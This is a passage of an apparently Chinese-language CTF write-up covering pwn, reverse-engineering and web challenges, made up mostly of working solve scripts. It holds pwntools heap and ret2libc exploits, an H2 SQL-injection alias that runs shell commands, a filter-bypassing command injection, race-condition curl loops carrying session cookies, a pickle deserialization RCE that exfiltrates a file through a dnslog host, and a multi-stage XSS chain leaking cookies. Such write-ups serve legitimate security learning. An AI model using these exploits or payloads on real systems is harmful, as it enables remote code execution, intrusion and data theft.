#  main_symbol = vuln.symbols[&apos;main&apos;]
libc_start_main_got = vuln.got[&apos;setbuf&apos;]
# libc_base = 0
# format_addr = libc_base + next(libc.search(b&quot;--%s: %s&quot;))

context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, terminal = [ &apos;alacritty&apos;, &apos;-e&apos; ], log_level = &apos;debug&apos;)

INDEX  = b&quot;Index: &quot;
SIZE  = b&quot;Size:&quot;
CONTENT = b&quot;Content:&quot;

def add_note(r, index, size):
    r.recvuntil(b&quot;&amp;gt;&quot;)
    r.sendline(b&quot;1&quot;)
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))

def delete_note(r, index):
    r.recvuntil(b&quot;&amp;gt;&quot;)
    r.sendline(b&quot;2&quot;)
    r.sendlineafter(INDEX, str(index))

def edit_note(r, index, payload):
    r.recvuntil(b&quot;&amp;gt;&quot;)
    r.sendline(b&quot;3&quot;)
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(b&quot;&amp;gt;&quot;)
    r.sendline(b&quot;4&quot;)
    r.sendlineafter(INDEX, str(index))

r = remote(&quot;106.14.57.14&quot;, 32562)
# r = process( &quot;./vuln_patched&quot; )
add_note(r, 0, 0x90)
add_note(r, 1, 0x10)
for i in range(2,9):
    add_note(r, i, 0x90)
for i in range(2,9):
    delete_note(r, i)
delete_note(r, 0)
# delete_note(r, 8)
# 1 -&amp;gt; 0 -&amp;gt; null
# edit_note(r, 1, p64(libc_start_main_got))
# pwnlib.gdb.attach(proc.pidof(r)[0])
show_note(r,0)
# r.recvuntil(b&quot;:&quot;)
main_area_addr = u64(r.recvuntil(&quot;Here&quot;)[0:6].ljust(8, b&apos;\x00&apos;))
malloc_hook_addr = main_area_addr + ( 0x7c07d4d8cb70 - 0x7c07d4d8cbe0 )
libc_base = malloc_hook_addr - libc.symbols[&apos;__malloc_hook&apos;]
system_addr = libc.symbols[&apos;system&apos;] + libc_base
binsh_addr = libc_base + next(libc.search(b&quot;/bin/sh&quot;))
print(&quot;[*] malloc_hook_addr: &quot;, hex(malloc_hook_addr))
print(&quot;[*] libc_base: &quot;, hex(libc_base))

print(&quot;[*] write func to 0x404200&quot;)
edit_note(r, 8, p64(0x404200))
add_note(r, 9, 0x90)
add_note(r, 10, 0x90)
edit_note(r, 10, p64(system_addr))

one = 0xe3b01 + libc_base;
print(&quot;[*] change mallok_hook&quot;)
delete_note( r, 0 )
edit_note( r, 0, p64(malloc_hook_addr) )
add_note(r, 11, 0x90 )
add_note(r, 12, 0x90 )
show_note( r, 0 )
edit_note(r, 12, p64(one))
# pwnlib.gdb.attach(proc.pidof(r)[0])
add_note( r, 13, 0x40 )

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ShellcodeMaster&lt;/h3&gt;
&lt;p&gt;注意到 mmap 的地址被保护了，但是 bss 后面还有一大片的地方任我乱写。&lt;/p&gt;
&lt;p&gt;先把栈迁移到 0x404500，考虑 ret2libc。注意到实在是没啥 gadget，可以在 shellcode 里写点。&lt;/p&gt;
&lt;p&gt;然后 leak 几个函数就能找到 libc 版本了。剩下的就是 ret2libc 的事情。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.
hellcodeMaster
from pwn import *

context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, terminal = [ &apos;alacritty&apos;, &apos;-e&apos; ], log_level = &apos;debug&apos;)

# r = process(&apos;./vuln&apos;)
r = remote(&apos;106.14.57.14&apos;, 31202)
vuln = ELF(&apos;./vuln&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

puts_got = 0x404018

# shellcode = &apos;mov esp, 0x404018\n&apos;
# shellcode += &apos;mov eax, 1\n&apos;
# shellcode += &apos;mov edi, eax\n&apos;
# shellcode += &apos;mov esi, esp\n&apos;
# shellcode += &apos;syscall\n&apos;
# shellcode += &apos;dec edi\n&apos;
# shellcode += &apos;mov eax, edi\n&apos;
# shellcode += &apos;syscall\n&apos;
# shellcode += &apos;ret\n&apos;
shellcode = &apos;mov esp, 0x404500\n&apos;
shellcode += &apos;xor rax, rax\n&apos;
shellcode += &apos;mov edi, eax\n&apos;
shellcode += &apos;mov esi, esp\n&apos;
shellcode += &apos;syscall\nret\n&apos;
shellcode += &apos;jmp [rax]\npop rax\npop rdi\npop rsi\npop rdx\nret&apos;
payload1 = asm(shellcode)

print(shellcode)
print(len(payload1))

r.send(payload1)
# pause()
# shellcode = &apos;&apos;
# shellcode += shellcraft.open(&apos;/flag&apos;)
# shellcode += shellcraft.read(&apos;rax&apos;,&apos;rsp&apos;,0x100)
# shellcode += shellcraft.write(1,&apos;rsp&apos;,0x100)
# payload2 = asm(shellcode)
# r.send(payload2)
r.recvuntil(&quot;Love!\n&quot;)
pop_xxx=0x2333011
jmp_rax=0x233300f
load = 0x404500 + 96
payload = p64(pop_xxx) + p64(puts_got) + p64(puts_got) + p64(0) + p64(0) + p64(jmp_rax)
payload += p64(pop_xxx) + p64(vuln.got[&apos;read&apos;]) + p64(0) + p64(load) + p64(0x1000) + p64(jmp_rax)
r.send(payload)
puts_addr = u64(r.recv()[0:6].ljust(8, b&apos;\x00&apos;))
libc_base = puts_addr - libc.symbols[&apos;puts&apos;]
read_addr = libc_base + libc.symbols[&apos;read&apos;]
write_addr = libc_base + libc.symbols[&apos;write&apos;]
open_addr = libc_base + libc.symbols[&apos;open&apos;]
print(&quot;[*] libc_base: &quot;, hex(libc_base))
# pwnlib.gdb.attach(proc.pidof(r)[0])
# pause()
payload = p64(pop_xxx) + p64(0) + p64(load+144) + p64(0) + p64(0) + p64(open_addr)
payload += p64(pop_xxx) + p64(0) + p64(3) + p64(0x404700) + p64(0x100) + p64(read_addr)
payload += p64(pop_xxx) + p64(0) + p64(1) + p64(0x404700) + p64(0x100) + p64(write_addr)
# print(len(payload))
payload += b&quot;/flag\x00\x00\x00&quot;
r.send(payload)

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;fastnote&lt;/h3&gt;
&lt;p&gt;UAF 是比较显然的。考虑先干到 fastbin，然后 cycle 一下，然后就可以任意写了。&lt;/p&gt;
&lt;p&gt;tcache 没啥检查，直接覆写 mallok_hook 就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;

from pwn import *
# from ctypes import *

# so = CDLL(&quot;./libc.so.6&quot;)
vuln = ELF(&apos;./vuln&apos;)
libc = ELF(&apos;./libc-2.31.so&apos;)
# puts_plt = vuln.plt[&apos;puts&apos;]
#  main_symbol = vuln.symbols[&apos;main&apos;]
libc_start_main_got = vuln.got[&apos;setbuf&apos;]
# libc_base = 0
# format_addr = libc_base + next(libc.search(b&quot;--%s: %s&quot;))

context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, terminal = [ &apos;alacritty&apos;, &apos;-e&apos; ], log_level = &apos;debug&apos;)

INDEX  = b&quot;Index: &quot;
SIZE  = b&quot;Size: &quot;
CONTENT = b&quot;Content: &quot;
CHOICE = b&quot;choice:&quot;

def add_note(r, index, size, payload):
    r.recvuntil(CHOICE)
    r.sendline(b&quot;1&quot;)
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b&quot;2&quot;)
    r.sendlineafter(INDEX, str(index))

def delete_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b&quot;3&quot;)
    r.sendlineafter(INDEX, str(index))

# def edit_note(r, index, payload):
#     r.recvuntil(b&quot;&amp;gt;&quot;)
#     r.sendline(b&quot;3&quot;)
#     r.sendlineafter(INDEX, str(index))
#     r.sendlineafter(CONTENT, payload)

# r=process(&apos;./vuln&apos;)
r=remote(&apos;106.14.57.14&apos;, 30165)

max_len = 0x80
add_note( r, 0, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
show_note( r, 0 )

main_area_addr = u64(r.recvuntil(&quot;Add&quot;)[0:6].ljust( 8, b&apos;\x00&apos; ))
malloc_hook_addr = main_area_addr + ( 0x7c07d4d8cb70 - 0x7c07d4d8cbe0 )
libc_base = malloc_hook_addr - libc.symbols[&apos;__malloc_hook&apos;]
one_gadget=libc_base+0xe3b01
log.success( &quot;libc_base: &quot; + hex(libc_base) )

max_len = 0x60

add_note( r, 0, max_len, p64(0) )
add_note( r, 9, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
delete_note( r, 9 )
delete_note( r, 0 )
delete_note( r, 9 )
# add_note(r, 2, max_len, p64(0))
# delete_note( r, 0 )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
add_note(r, 2, max_len, p64(malloc_hook_addr))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
show_note( r, 0 )
#pwnlib.gdb.attach(proc.pidof(r)[0])
# add_note(r, 1, 0x30, p64(one_gadget))

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;fastnote_old&lt;/h3&gt;
&lt;p&gt;和 fastnote 源码一模一样。&lt;/p&gt;
&lt;p&gt;但是 libc 版本比较老，没有 tcache 了。&lt;/p&gt;
&lt;p&gt;fake_chunk 覆写 malloc_hook&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;

from pwn import *
# from ctypes import *

# so = CDLL(&quot;./libc.so.6&quot;)
vuln = ELF(&apos;./vuln&apos;)
libc = ELF(&apos;./libc-2.23.so&apos;)
# puts_plt = vuln.plt[&apos;puts&apos;]
#  main_symbol = vuln.symbols[&apos;main&apos;]
libc_start_main_got = vuln.got[&apos;setbuf&apos;]
# libc_base = 0
# format_addr = libc_base + next(libc.search(b&quot;--%s: %s&quot;))

context(arch = &apos;amd64&apos;, os = &apos;linux&apos;, terminal = [ &apos;alacritty&apos;, &apos;-e&apos; ], log_level = &apos;debug&apos;)

INDEX  = b&quot;Index: &quot;
SIZE  = b&quot;Size: &quot;
CONTENT = b&quot;Content: &quot;
CHOICE = b&quot;choice:&quot;

def add_note(r, index, size, payload):
    r.recvuntil(CHOICE)
    r.sendline(b&quot;1&quot;)
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b&quot;2&quot;)
    r.sendlineafter(INDEX, str(index))

def delete_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b&quot;3&quot;)
    r.sendlineafter(INDEX, str(index))

# def edit_note(r, index, payload):
#     r.recvuntil(b&quot;&amp;gt;&quot;)
#     r.sendline(b&quot;3&quot;)
#     r.sendlineafter(INDEX, str(index))
#     r.sendlineafter(CONTENT, payload)

# r=process(&apos;./vuln&apos;)
r=remote(&apos;106.14.57.14&apos;, 30082)

max_len = 0x80
add_note( r, 0, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
show_note( r, 0 )

main_area_addr = u64(r.recvuntil(&quot;Add&quot;)[0:6].ljust( 8, b&apos;\x00&apos; ))
malloc_hook_addr = main_area_addr - ( 0x7911395c4b78 - 0x7911395c4b10 )
libc_base = malloc_hook_addr - libc.symbols[&apos;__malloc_hook&apos;]
one_gadget=libc_base+0xf1247
log.success( &quot;libc_base: &quot; + hex(libc_base) )

max_len = 0x60
fake_chunk = 0x3c4aed + libc_base

add_note( r, 0, max_len, p64(0) )
add_note( r, 9, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
delete_note( r, 9 )
delete_note( r, 0 )
delete_note( r, 9 )
add_note(r, 2, max_len, p64(fake_chunk))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, b&apos;A&apos; * 0x13 + p64(one_gadget))
show_note( r, 0 )
# pwnlib.gdb.attach(proc.pidof(r)[0])
# add_note(r, 2, max_len, p64(0))
# delete_note( r, 0 )
# for i in range(2,9):
#     add_note(r, i, max_len, p64(0))
# add_note(r, 2, max_len, p64(malloc_hook_addr))
# add_note(r, 0, max_len, p64(one_gadget))
# add_note(r, 0, max_len, p64(one_gadget))
# add_note(r, 0, max_len, p64(one_gadget))
# show_note( r, 0 )
# pwnlib.gdb.attach(proc.pidof(r)[0])
#  add_note(r, 1, 0x30, p64(one_gad0x4527a
r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;arithmetic&lt;/h3&gt;
&lt;p&gt;观察发现题目会随机一条路径求和，告诉你到如果和大于等于某一常数就是对的&lt;/p&gt;
&lt;p&gt;那这显然是最大值了。&lt;/p&gt;
&lt;p&gt;没有什么难度的动态规划。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

const int N = 512;
const int TARGET = 6752833;

int a[N][N];

int f[N][N], la[N][N];

int path[N];

void print( int i, int j ) {
    if( i == 1 )
        return ;
    print( i - 1, la[i][j] );
//    printf( &quot;%d, %d\n&quot;, i, j );
    if( la[i][j] == j ) {
        printf( &quot;1&quot; );
        path[ i - 1 ] = 1;
    }
    else {
        printf( &quot;2&quot; );
        path[ i - 1 ] = 2;
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif
    freopen( &quot;out2&quot;, &quot;r&quot;, stdin );

    ci32 n = 500;
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        for( int j = 1; j &amp;lt;= i; j ++ ) {
            a[i][j] = read&amp;lt;i32&amp;gt;();
        }
    }

    f[1][1] = a[1][1];
    for( int i = 2; i &amp;lt;= n; i ++ ) {
        for( int j = 1; j &amp;lt;= i; j ++ ) {
            f[i][j] = f[ i - 1 ][j] + a[i][j];
            la[i][j] = j;
            if( j - 1 &amp;gt; 0 &amp;amp;&amp;amp; f[ i - 1 ][ j - 1 ] + a[i][j] &amp;gt;= f[i][j] )  {
                f[i][j] = f[ i - 1 ][ j - 1 ] + a[i][j];
                la[i][j] = j - 1;
            }
        }
    }
    for( int j = 1; j &amp;lt;= n; j ++ ) {
        if( f[n][j] &amp;gt;= TARGET )
            print( n, j );
    }

    path[500] = 1;
    FILE* p = fopen(&quot;tmp&quot;, &quot;w&quot;);
    fwrite( path + 1, sizeof(int), 500, p);
    fclose(p);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;babyre&lt;/h3&gt;
&lt;p&gt;一扔进 IDA 就是一车互斥锁。&lt;/p&gt;
&lt;p&gt;注意到 handle 了 SIGFPE。&lt;/p&gt;
&lt;p&gt;分析后发现就是四个线程轮流来，然后 SIGFPE 被周期性除法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned char ida_chars[] =
{
  0x14, 0x2F, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0xF3, 0x4F,
  0x00, 0x00, 0x6D, 0x00, 0x00, 0x00, 0xD8, 0x32, 0x00, 0x00,
  0x6D, 0x00, 0x00, 0x00, 0x4B, 0x6B, 0x00, 0x00, 0x92, 0xFF,
  0xFF, 0xFF, 0x4F, 0x26, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00,
  0xFB, 0x52, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0x71, 0x2B,
  0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x6F, 0x2A, 0x00, 0x00,
  0x95, 0xFF, 0xFF, 0xFF, 0xFA, 0x28, 0x00, 0x00, 0x1D, 0x00,
  0x00, 0x00, 0x89, 0x29, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
  0xB4, 0x28, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x06, 0x45,
  0x00, 0x00, 0xDA, 0xFF, 0xFF, 0xFF, 0x7B, 0x17, 0x00, 0x00,
  0xFC, 0xFF, 0xFF, 0xFF, 0xCE, 0x40, 0x00, 0x00, 0x7D, 0x00,
  0x00, 0x00, 0xE3, 0x29, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
  0x11, 0x1F, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0x00,
  0x00, 0x00
};

char str[] = &quot;feifei&quot;;

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

     int *p = ( int*)ida_chars;

     p[32] = 250;
    for( int i = 0; i &amp;lt; 6; i ++ )
        str[i] ^= 0x11;
//     p[31] = &apos;}&apos;;

//    printf( &quot;%d\n&quot;, str[0] );
    for( int i = 31; i &amp;gt;= 0; i -- ) {
        if( i % 4 == 0 ) {
            p[i] -= p[ i + 1 ] * str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 1 ) {
            p[i] += p[ i + 1 ] ^ str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 2 ) {
            p[i] /= p[ i + 1 ] + str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 3 ) {
            p[i] ^= p[ i + 1 ] - str[ ( i + 1 ) % 6 ];
        }
        if( i % 3 == 2 ) {
            for( int j = 0; j &amp;lt; 6; j ++ )
                str[j] ^= 0x11;
        }
    }
    for( int i = 0; i &amp;lt;= 31; i ++ )
        printf( &quot;%c&quot;, p[i] );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;babyAndroid&lt;/h3&gt;
&lt;p&gt;先逆 java 层，拿到 username。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const char key[] = &quot;3e1fel&quot;;
char enc[] = {-75, 80, 80, 48, -88, 75, 103, 45, -91, 89, -60, 91, -54, 5, 6, -72};
// who fucking know about this?
char box[256];

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

    for( int i = 0; i &amp;lt; 256; i ++ ) {
        box[i] = i;
    }
    i32 p = 0;
    for( int i = 0; i &amp;lt; 256; i ++ ) {
        p = ( p + box[i] + key[ i % 6 ] ) &amp;amp; 255;
        std::swap( box[i], box[p] );
    }
    int p1 = 0, p2 = 0;
    for( int i = 0; i &amp;lt; sizeof(enc); i ++ ) {
        p1 += 1;
        p2 = ( p2 + box[p1] ) &amp;amp; 255;
        std::swap( box[p1], box[p2] );
        enc[i] ^= ( box[ ( box[p1] + box[p2] ) &amp;amp; 255 ] );
    }
    for( int i = 0; i &amp;lt; sizeof(enc); i ++ )
        printf( &quot;%c&quot;, enc[i] );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 &lt;code&gt;check2&lt;/code&gt; 显然在 native 层里，拖进 IDA 看全局变量发现有 sbox。&lt;/p&gt;
&lt;p&gt;应该是 AES。&lt;/p&gt;
&lt;p&gt;扔进 cyberchef，AES 解密，用户名当密钥，得到 flag。&lt;/p&gt;
&lt;h3&gt;ezcpp&lt;/h3&gt;
&lt;p&gt;很显然的 TEA like。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unsigned char a[] =
{
    0x88, 0x6A, 0xB0, 0xC9, 0xAD, 0xF1, 0x33, 0x33, 0x94, 0x74,
    0xB5, 0x69, 0x73, 0x5F, 0x30, 0x62, 0x4A, 0x33, 0x63, 0x54,
    0x5F, 0x30, 0x72, 0x31, 0x65, 0x6E, 0x54, 0x65, 0x44, 0x3F,
    0x21, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

const int salt = 559038737;
const int key2 = 1234;
const int key1 = 2341;
const int key4 = 3412;
const int key3 = 4123;

void de( int &amp;amp;x3, int &amp;amp;y3 ) {
    int sum = 0;
    for( int i = 0; i &amp;lt; 32; i ++ )
        sum -= salt;
    for( int i = 0; i &amp;lt; 32; i ++ ) {
        y3 -= (sum + x3) ^ (key3 + 32 * x3) ^ (key4 + 16 * x3);
        x3 -= (sum + y3) ^ (key1 + 32 * y3) ^ (key2 + 16 * y3);
        sum += salt;
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif
    {
        int *x = (int*)(a + 3);
        int *y = (int*)(a + 7);
        de( *x, *y );
    }
    {
        int *x = (int*)(a + 2);
        int *y = (int*)(a + 6);
        de( *x, *y );
    }
    {
        int *x = (int*)(a + 1);
        int *y = (int*)(a + 5);
        de( *x, *y );
    }
    {
        int *x = (int*)(a + 0);
        int *y = (int*)(a + 4);
        de( *x, *y );
    }
    for( int i = 0; i &amp;lt; 32; i ++ )
        printf( &quot;%c&quot;, a[i] );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;search4member&lt;/h3&gt;
&lt;p&gt;观察源码，发现基本上没有过滤 &amp;amp; 用的 h2db。&lt;/p&gt;
&lt;p&gt;h2db 支持乱调函数，写个 getshell 函数即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;简&apos; UNION SELECT 1,2,3; CREATE ALIAS shell AS &apos;String shell(String s) throws Exception { return (new java.io.BufferedReader( new java.io.InputStreamReader( ( java.lang.Runtime.getRuntime().exec(&quot;cat /flag&quot;)).getInputStream()))).readLine(); }&apos;; --
简&apos; UNION SELECT 1,2,shell(&apos;cat /flag&apos;); --
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;What the cow say?&lt;/h3&gt;
&lt;p&gt;这 cow 一打开就知道是 shell 生成的。&lt;/p&gt;
&lt;p&gt;感觉屏蔽了不少，cat 和 flag 都扬了。&lt;/p&gt;
&lt;p&gt;不过 ` 和 &apos; 放了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;`ca&apos;t&apos; /fl&apos;a&apos;g_is_here/fl&apos;a&apos;g_c0w54y`
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Select More Courses&lt;/h3&gt;
&lt;p&gt;先弱密码爆破。&lt;/p&gt;
&lt;p&gt;说是和时间赛跑，估计有数据竞争。&lt;/p&gt;
&lt;p&gt;同时请求扩学分和选课即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while true; do; curl &apos;http://106.14.57.14:30303/api/expand&apos; -X POST -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0&apos; -H &apos;Accept: */*&apos; -H &apos;Accept-Language: en,zh;q=0.7,ja;q=0.3&apos; -H &apos;Accept-Encoding: gzip, deflate&apos; -H &apos;Referer: http://106.14.57.14:30303/expand&apos; -H &apos;Content-Type: application/json&apos; -H &apos;Origin: http://106.14.57.14:30303&apos; -H &apos;DNT: 1&apos; -H &apos;Connection: keep-alive&apos; -H &apos;Cookie: session=MTcwNzM2MTUzOHxEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fCuZEemvyHBmVqrmbNcvbSnZcrJHQevNYVNRdmaJtoel&apos; --data-raw &apos;{&quot;username&quot;:&quot;ma5hr00m&quot;}&apos; ;done
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;while true; do curl &apos;http://106.14.57.14:31339/api/select&apos; -X POST -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0&apos; -H &apos;Accept: */*&apos; -H &apos;Accept-Language: en,zh;q=0.7,ja;q=0.3&apos; -H &apos;Accept-Encoding: gzip, deflate&apos; -H &apos;Referer: http://106.14.57.14:31339/select&apos; -H &apos;Content-Type: application/json&apos; -H &apos;Origin: http://106.14.57.14:31339&apos; -H &apos;DNT: 1&apos; -H &apos;Connection: keep-alive&apos; -H &apos;Cookie: session=MTcwNzM2MTUzOHxEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fCuZEemvyHBmVqrmbNcvbSnZcrJHQevNYVNRdmaJtoel&apos; --data-raw &apos;{&quot;id&quot;:1,&quot;username&quot;:&quot;ma5hr00m&quot;}&apos;; done
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;myflask&lt;/h3&gt;
&lt;p&gt;先暴力枚举 session key。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in $(seq -w 094300 095000); do echo $i; python ./flask_session_cookie_manager3.py decode -s $i -c &quot;eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcQ1nQ.eEdEPiB4IGcNhYrZB6nOyNffZO8&quot;; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pickle 的 RCE 一搜就有，拖个 payload 下来。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python
#
# Pickle deserialization RCE exploit
# calfcrusher@inventati.org
#
# Usage: ./Pickle-PoC.py [URL]

import pickle
import base64
import requests
import sys

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
# class PickleRCE(object):
#     def __reduce__(self):
#         import os
#         return &quot;command&quot;

default_url = &apos;http://106.14.57.14:32512/flag&apos;
url = default_url
command = &apos;curl `cat /flag`.s8e2v8wg.dnslog.pw&apos;  # Reverse Shell Payload Change IP/PORT
pickled = &apos;pickle_data&apos;  # This is the POST parameter of our vulnerable Flask app
session=&quot;eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcQ3ZQ.7vbuJhvRrw5MMlTsrBMjrYJmusA&quot;
cookie={&apos;session&apos;: session}
payload = base64.b64encode(pickle.dumps(PickleRCE()))  # Crafting Payload
# payload = base64.b64encode(pickle.dumps(&quot;wtf&quot;))  # Crafting Payload
p=requests.post(url, data={pickled: payload}, cookies=cookie)  # Sending POST request
print(&quot;send&quot;)
print(p.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;梅开二度&lt;/h3&gt;
&lt;p&gt;先分析一手。只有 bot 访问 &lt;code&gt;/flag&lt;/code&gt; 会将 flag 通过 Cookie 传给 flag。&lt;/p&gt;
&lt;p&gt;我们能够控制 bot 访问到的网页。&lt;/p&gt;
&lt;p&gt;考虑 xss，多次跳转并通过 dnslog 带出内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -vv &apos;http://106.14.57.14:31304/bot?url=http%3A
%2F%2F127%2E0%2E0%2E1%3A8080%2F%3Ftmpl%3D%7B%7B%2EQuer
y%2520%60a%60%7D%7D%26a%3D%253Cscript%253Ewindow%25
2Eonload%2520%253D%2520%2528%2529%253D%253E%257B%2520w
indow%252Elocation%252Ehref%253D%2522http%253A%252F
%252F127%252E0%252E0%252E1%253A8080%253Ftmpl%253D%257B
%257B%252EQuery%252520%2560a%2560%257D%257D%257B%25
7B%252ECookie%252520%2560flag%2560%257D%257D%257B%257B
%252EQuery%252520%2560b%2560%257D%257D%2526a%253D%2
5253Cscript%25253Ewindow%25252Eonload%252520%25253D%25
2520%252528%252529%25253D%25253E%25257B%252520b%252
53Ddocument%25252Ebody%25252EinnerHTML%25253B%252520wi
ndow%25252Elocation%25252Ehref%25253D%252527http%25
253A%25252F%25252F%252527%252520%25252B%252520b%25252E
trim%252528%252529%25252Esubstr%25252841%25252C5%25
2529%252520%25252B%252520%252527%25252Es8e2v8wg%25252E
dnslog%25252Epw%252527%25253B%25257D%25253B%25253C%
25252Fscript%25253E%25253Cbody%25253E%2526b%253D%25253
C%25252Fbody%25253E%2522%253B%2520%257D%253C%252Fsc
ript%253E%253Cimg%2520src%253D%2522http%253A%252F%252F
127%252E0%252E0%252E1%253A8080%252Fflag%2522%252F%2
53E
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中一个坑是 flag 有点小长，可以一点一点带出来。&lt;/p&gt;
